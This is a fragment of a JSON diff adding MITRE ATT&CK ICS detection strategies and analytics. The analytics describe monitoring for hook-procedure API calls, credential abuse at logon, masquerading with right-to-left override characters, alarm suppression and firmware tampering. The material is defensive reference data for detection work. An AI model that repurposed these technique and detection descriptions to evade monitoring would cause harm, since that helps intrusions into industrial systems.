"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2145faf1-28da-4ebc-9730-f2e2a8764ced", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0732", + "external_id": "DET0732" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Theft of Operational Information", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--cd4c92f9-3107-45c7-9d95-19a44d7dc92c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8ae936b6-b635-4104-bd11-81c18d90cf97", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0744", + "external_id": "DET0744" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Transient Cyber Asset", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9127dd4e-0994-442f-8d73-b6b2dfb1f9ac" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d8cb1dd3-8bf2-48e7-99db-473481b823a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0794", + "external_id": "DET0794" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Unauthorized Command Message", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--23eb2bc3-735d-4425-96e1-f9d3a1453bfa" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--eabde43f-1872-499d-9642-85a6959c4d28", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0791", + "external_id": "DET0791" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of User Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d937e4b8-20f2-44c1-9940-48c74318c715" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ffeac6e1-798f-41b1-8baf-2650d2ebe031", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0724", + "external_id": "DET0724" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Valid Accounts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ddfcd948-3526-4241-a12f-d7bf63468e40" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7f32731d-7800-483c-b077-c4a187a27ae5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0726", + "external_id": "DET0726" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Wireless Compromise", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2388dc31-ba9a-4c12-b4b9-28bbc981c73e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bbb288c7-9e40-46bd-b0a1-db4cfef4e1ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0743", + "external_id": "DET0743" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Wireless Sniffing", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c14544a4-5ca1-4523-97eb-4a9840d74c6d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + } + ], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "analytics": { + "additions": [ + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--05ca4f07-df4f-4e88-b216-f40ca6ce39b8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0722#AN1855", + "external_id": "AN1855" + }, + { + "source_name": "EyeofRa Detecting Hooking June 2017", + "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.", + "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/" + }, + { + "source_name": "Zairon Hooking Dec 2006", + "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.", + "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/" + }, + { + "source_name": "Microsoft Hook Overview", + "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx" + }, + { + "source_name": "PreKageo Winhook Jul 2011", + "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.", + "url": "https://github.com/prekageo/winhook" + }, + { + "source_name": "Jay GetHooks Sept 2011", + "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.", + "url": "https://github.com/jay/gethooks" + }, + { + "source_name": "Volatility Detecting Hooks Sept 2012", + "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.", + "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1855", + "description": "Monitor for API calls that can be used to install a hook procedure, such as the SetWindowsHookEx and SetWinEventHook functions.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "Process", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cff25f71-859e-48bf-88d6-852d05e22b33", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0723#AN1856", + "external_id": "AN1856" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1856", + "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\nMonitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.\nMonitor for application logging, messaging, and/or other artifacts that may result from Denial of Service (DoS) attacks which degrade or block the availability of services to users. In addition to network level detections, endpoint logging and instrumentation can be useful for detection.\nMonitor operational data for indicators of temporary data loss which may indicate a Denial of Service. This will not directly detect the technique\u2019s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--931b3fc6-ad68-42a8-9018-e98515eedc95", + "name": "Operational Databases", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ddfcd948-3526-4241-a12f-d7bf63468e40", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0724#AN1857", + "external_id": "AN1857" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1857", + "description": "Monitor for an authentication attempt by a user that may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.\nMonitor for logon behavior that may abuse credentials of existing accounts as a means of gaining Lateral Movement or Persistence. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). \nMonitor for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "User Account", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "Logon Session", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "Logon Session", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--791310ad-7db5-41df-9fa5-fa4097d8a51d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0725#AN1858", + "external_id": "AN1858" + }, + { + "source_name": "Twitter ItsReallyNick Masquerading Update", + "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.", + "url": "https://x.com/ItsReallyNick/status/1055321652777619457" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1858", + "description": "Monitor for newly constructed services/daemons that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.\nMonitor for changes made to files outside of an update or patch that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.\nMonitor for file names that are mismatched between the file name on disk and that of the binary's metadata. This is a likely indicator that a binary was renamed after it was compiled. For added context on adversary procedures and background see [Masquerading](https://attack.mitre.org/techniques/T1036) and applicable sub-techniques.\nMonitor executed commands and arguments that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.(Citation: Twitter ItsReallyNick Masquerading Update)\nMonitor for changes made to scheduled jobs that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.\nMonitor for changes made to services that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.\nCollect file hashes. Monitor for file names that do not match their expected hash. Perform file monitoring. Files with known names but in unusual locations are suspect. Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE\". For added context on adversary procedures and background see [Masquerading](https://attack.mitre.org/techniques/T1036) and applicable sub-techniques.\nMonitor for newly constructed scheduled jobs that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "Service", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "Process", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--faa34cf6-cf32-4dc9-bd6a-8f7a606ff65b", + "name": "Scheduled Job", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--66531bc6-a509-4868-8314-4d599e91d222", + "name": "Service", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "File", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "Scheduled Job", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2388dc31-ba9a-4c12-b4b9-28bbc981c73e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0726#AN1859", + "external_id": "AN1859" + }, + { + "source_name": "Nzyme Alerts Intro", + "description": "Koopmann, Lennart. (n.d.). Nzyme Alerts Introduction. Retrieved November 17, 2024.", + "url": "https://docs.nzyme.org/wifi/monitoring/network-monitoring/" + }, + { + "source_name": "Wireless Intrusion Detection", + "description": "Tomko, A.; Rieser, C; Buell, H.; Zeret, D.; Turner, W.. (2007, March). Wireless Intrusion Detection. Retrieved September 26, 2022.", + "url": "https://apps.dtic.mil/sti/pdfs/ADA466332.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1859", + "description": "Monitor login sessions for new or unexpected devices or sessions on wireless networks.\nMonitor application logs for new or unexpected devices or sessions on wireless networks.\nNew or irregular network traffic flows may indicate potentially unwanted devices or sessions on wireless networks. In Wi-Fi networks monitor for changes such as rogue access points or low signal strength, indicating a device is further away from the access point then expected and changes in the physical layer signal.(Citation: Nzyme Alerts Intro) (Citation: Wireless Intrusion Detection) Network traffic content will provide important context, such as hardware (e.g., MAC) addresses, user accounts, and types of messages sent.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "Logon Session", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1be515a0-2656-4b35-a561-e8157169350d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0727#AN1860", + "external_id": "AN1860" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1860", + "description": "Monitor ICS automation network protocols for functions related to reading an operational process state (e.g., \u201cRead\u201d function codes in protocols like DNP3 or Modbus). In some cases, there may be multiple ways to monitor an operational process\u2019 state, one of which is typically used in the operational environment. Monitor for the operating mode being checked in unexpected ways.\nMonitor applications logs for any access attempts to operational databases (e.g., historians) or other sources of operational data within the ICS environment. These devices should be monitored for adversary collection using techniques relevant to the underlying technologies (e.g., Windows, Linux).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--edd8297d-ec63-4b54-8d28-106f228dd535", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0728#AN1861", + "external_id": "AN1861" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1861", + "description": "Monitor for loss of network traffic which could indicate alarms are being suppressed. A loss of expected communications associated with network protocols used to communicate alarm events or process data could indicate this technique is being used. This will not directly detect the technique\u2019s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.\nMonitor for loss of operational process data which could indicate alarms are being suppressed. This will not directly detect the technique\u2019s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.\nMonitor for loss of expected device alarms which could indicate alarms are being suppressed. As noted in the technique description, there may be multiple sources of alarms in an ICS environment. Discrepancies between alarms may indicate the adversary is suppressing some but not all the alarms in the environment. This will not directly detect the technique\u2019s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.\nMonitor for loss of expected operational process alarms which could indicate alarms are being suppressed. As noted in the technique description, there may be multiple sources of alarms in an ICS environment. Discrepancies between alarms may indicate the adversary is suppressing some but not all the alarms in the environment. This will not directly detect the technique\u2019s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--931b3fc6-ad68-42a8-9018-e98515eedc95", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9d56be63-3501-4dd3-bb5f-63c580833298", + "name": "Operational Databases", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--4c12c1c8-bcef-4daf-8e5b-fca235f71d9e", + "name": "Operational Databases", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8428e0cd-009e-41c1-8292-88651d4486c9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0729#AN1862", + "external_id": "AN1862" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1862", + "description": "No standard detection method currently exists for this technique.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--899d0dce-64f7-4924-93a1-8e3c83dd510f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0730#AN1863", + "external_id": "AN1863" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1863", + "description": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "File", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3f10ffe9-fa73-4aeb-bf98-322831bf757f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0731#AN1864", + "external_id": "AN1864" + }, + { + "source_name": "McAfee CHIPSEC Blog", + "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.", + "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/" + }, + { + "source_name": "MITRE Copernicus", + "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.", + "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about" + }, + { + "source_name": "Intel HackingTeam UEFI Rootkit", + "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20170313124421/http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html" + }, + { + "source_name": "Github CHIPSEC", + "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.", + "url": "https://github.com/chipsec/chipsec" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1864", + "description": "Monitor for firmware changes which may be observable via operational alarms from devices.\nMonitor device application logs for firmware changes, although not all devices will produce such logs.\nMonitor firmware for unexpected changes. Asset management systems should be consulted to understand known-good firmware versions. Dump and inspect BIOS images on vulnerable systems and compare against known good images.(Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior. Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed.(Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)\nMonitor ICS management protocols / file transfer protocols for protocol functions related to firmware changes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_log_source_references": [ + { 